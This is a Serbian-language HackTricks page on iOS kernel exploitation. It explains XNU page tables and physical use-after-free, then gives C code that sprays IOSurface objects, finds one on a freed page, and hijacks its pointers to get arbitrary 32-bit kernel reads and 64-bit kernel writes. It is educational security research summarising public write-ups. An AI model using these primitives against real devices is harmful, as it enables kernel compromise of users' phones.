hacktricks/src/binary-exploitation/ios-exploiting.md

208 lines
9.6 KiB
Markdown

# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## Fizičko korišćenje nakon oslobađanja
Ovo je sažetak iz posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), a dodatne informacije o eksploataciji koristeći ovu tehniku mogu se naći na [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Upravljanje memorijom u XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
**Virtuelni adresni prostor** za korisničke procese na iOS-u se proteže od **0x0 do 0x8000000000**. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, **kernel** koristi **tabele stranica** za prevođenje virtuelnih adresa u stvarne **fizičke adrese**.
#### Nivoi tabela stranica u iOS-u
Tabele stranica su organizovane hijerarhijski u tri nivoa:
1. **L1 tabela stranica (Nivo 1)**:
* Svaki unos ovde predstavlja veliki opseg virtuelne memorije.
* Pokriva **0x1000000000 bajtova** (ili **256 GB**) virtuelne memorije.
2. **L2 tabela stranica (Nivo 2)**:
* Unos ovde predstavlja manju oblast virtuelne memorije, specifično **0x2000000 bajtova** (32 MB).
* L1 unos može ukazivati na L2 tabelu ako ne može da mapira celu oblast sam.
3. **L3 tabela stranica (Nivo 3)**:
* Ovo je najfiniji nivo, gde svaki unos mapira jednu **4 KB** stranicu memorije.
* L2 unos može ukazivati na L3 tabelu ako je potrebna detaljnija kontrola.
#### Mapiranje virtuelne u fizičku memoriju
* **Direktno mapiranje (Blok mapiranje)**:
* Neki unosi u tabeli stranica direktno **mapiraju opseg virtuelnih adresa** na kontiguitet fizičkih adresa (poput prečice).
* **Pokazivač na tabelu stranica deteta**:
* Ako je potrebna finija kontrola, unos na jednom nivou (npr. L1) može ukazivati na **tabelu stranica deteta** na sledećem nivou (npr. L2).
#### Primer: Mapiranje virtuelne adrese
Recimo da pokušavate da pristupite virtuelnoj adresi **0x1000000000**:
1. **L1 tabela**:
* Kernel proverava unos L1 tabele stranica koji odgovara ovoj virtuelnoj adresi. Ako ima **pokazivač na L2 tabelu stranica**, prelazi na tu L2 tabelu.
2. **L2 tabela**:
* Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na **L3 tabelu stranica**, nastavlja dalje.
3. **L3 tabela**:
* Kernel traži konačni L3 unos, koji ukazuje na **fizičku adresu** stvarne stranice memorije.
#### Primer mapiranja adrese
Ako upišete fizičku adresu **0x800004000** u prvi indeks L2 tabele, tada:
* Virtuelne adrese od **0x1000000000** do **0x1002000000** mapiraju se na fizičke adrese od **0x800004000** do **0x802004000**.
* Ovo je **blok mapiranje** na L2 nivou.
Alternativno, ako L2 unos ukazuje na L3 tabelu:
* Svaka 4 KB stranica u opsegu virtuelnih adresa **0x1000000000 -> 0x1002000000** biće mapirana pojedinačnim unosima u L3 tabeli.
### Fizičko korišćenje nakon oslobađanja
**Fizičko korišćenje nakon oslobađanja** (UAF) se dešava kada:
1. Proces **alokira** neku memoriju kao **čitljivu i zapisivu**.
2. **Tabele stranica** se ažuriraju da mapiraju ovu memoriju na određenu fizičku adresu kojoj proces može pristupiti.
3. Proces **dealokira** (oslobađa) memoriju.
4. Međutim, zbog **greške**, kernel **zaboravlja da ukloni mapiranje** iz tabela stranica, iako označava odgovarajuću fizičku memoriju kao slobodnu.
5. Kernel može zatim **ponovo alocirati ovu "oslobođenu" fizičku memoriju** za druge svrhe, poput **kernel podataka**.
6. Pošto mapiranje nije uklonjeno, proces može i dalje **čitati i pisati** u ovu fizičku memoriju.
To znači da proces može pristupiti **stranicama kernel memorije**, koje mogu sadržati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da **manipuliše kernel memorijom**.
### Strategija eksploatacije: Heap Spray
Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti alocirane na oslobođenoj memoriji, koriste tehniku nazvanu **heap spray**:
1. Napadač **stvara veliki broj IOSurface objekata** u kernel memoriji.
2. Svaki IOSurface objekat sadrži **magičnu vrednost** u jednom od svojih polja, što olakšava identifikaciju.
3. Oni **skeniraju oslobođene stranice** da vide da li je neki od ovih IOSurface objekata završio na oslobođenoj stranici.
4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti za **čitati i pisati kernel memoriju**.
Više informacija o ovome u [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Korak-po-korak proces heap spray-a
1. **Spray IOSurface objekata**: Napadač stvara mnogo IOSurface objekata sa posebnim identifikatorom ("magična vrednost").
2. **Skeniraj oslobođene stranice**: Proveravaju da li su neki od objekata alocirani na oslobođenoj stranici.
3. **Čitaj/Piši kernel memoriju**: Manipulacijom polja u IOSurface objektu, stiču sposobnost da izvrše **arbitrarne čitanja i pisanja** u kernel memoriji. Ovo im omogućava:
* Da koriste jedno polje za **čitati bilo koju 32-bitnu vrednost** u kernel memoriji.
* Da koriste drugo polje za **pisanje 64-bitnih vrednosti**, postizajući stabilnu **kernel read/write primitivu**.
Generišite IOSurface objekte sa magičnom vrednošću IOSURFACE_MAGIC za kasnije pretraživanje:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Pretražite **`IOSurface`** objekte na jednoj oslobođenoj fizičkoj stranici:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Postizanje Kernel Read/Write sa IOSurface
Nakon što preuzmemo kontrolu nad IOSurface objektom u kernel memoriji (mapiranim na oslobođenu fizičku stranicu dostupnu iz korisničkog prostora), možemo ga koristiti za **arbitrarne kernel read i write operacije**.
**Ključna Polja u IOSurface**
IOSurface objekat ima dva ključna polja:
1. **Pokazivač na Broj Korišćenja**: Omogućava **32-bitno čitanje**.
2. **Pokazivač na Indeksirani Vremepečat**: Omogućava **64-bitno pisanje**.
Prepisivanjem ovih pokazivača, preusmeravamo ih na arbitrarne adrese u kernel memoriji, omogućavajući read/write mogućnosti.
#### 32-Bitno Kernel Čitanje
Da bismo izvršili čitanje:
1. Prepišite **pokazivač na broj korišćenja** da pokazuje na ciljnu adresu minus 0x14-bajtni ofset.
2. Koristite `get_use_count` metodu da pročitate vrednost na toj adresi.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Da biste izvršili pisanje:
1. Prepišite **pokazivač indeksiranog vremenskog pečata** na ciljanu adresu.
2. Koristite metodu `set_indexed_timestamp` da biste napisali 64-bitnu vrednost.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Pregled Eksploatacije
1. **Pokreni Fizičku Upotrebu-Nakon-Oslobađanja**: Oslobođene stranice su dostupne za ponovnu upotrebu.
2. **Sprej IOSurface Objekata**: Alociraj mnogo IOSurface objekata sa jedinstvenom "čarobnom vrednošću" u kernel memoriji.
3. **Identifikuj Pristupačni IOSurface**: Pronađi IOSurface na oslobođenoj stranici koju kontrolišeš.
4. **Zloupotrebi Upotrebu-Nakon-Oslobađanja**: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno **čitanje/pisanje u kernel** putem IOSurface metoda.
Sa ovim primitivima, eksploatacija omogućava kontrolisano **32-bitno čitanje** i **64-bitno pisanje** u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije primitivne operacije čitanja/pisanja, što može zahtevati zaobilaženje dodatnih zaštita (npr., PPL na novijim arm64e uređajima).
{{#include ../banners/hacktricks-training.md}}